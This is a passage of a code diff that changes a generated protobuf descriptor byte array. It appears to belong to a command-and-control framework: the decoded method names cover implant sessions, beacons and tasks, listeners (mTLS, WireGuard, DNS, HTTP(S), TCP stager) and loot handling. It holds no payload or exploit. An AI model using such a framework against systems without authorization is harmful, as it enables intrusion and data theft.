0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, - 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, - 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, 0x0a, - 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, - 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x4d, 0x6f, 0x6e, 0x69, 0x74, - 0x6f, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, - 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x44, 0x0a, 0x10, - 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, - 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x44, 0x0a, 0x10, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x6f, 0x6e, 0x12, 0x2c, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x73, + 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, + 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, + 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, + 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x28, 0x01, 0x12, 0x40, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, + 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x43, 0x0a, 0x11, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, - 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, - 0x41, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, - 0x6f, 0x62, 0x12, 0x43, 0x0a, 0x10, 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, + 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x44, 0x0a, 0x10, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, + 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, + 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x44, 0x0a, 0x10, 0x4d, + 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, + 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x41, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x43, 0x0a, 0x10, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, + 0x12, 0x46, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, - 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, - 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, - 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, - 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, - 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, - 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, - 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, - 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, - 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x37, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x61, - 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06, - 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, + 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, + 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 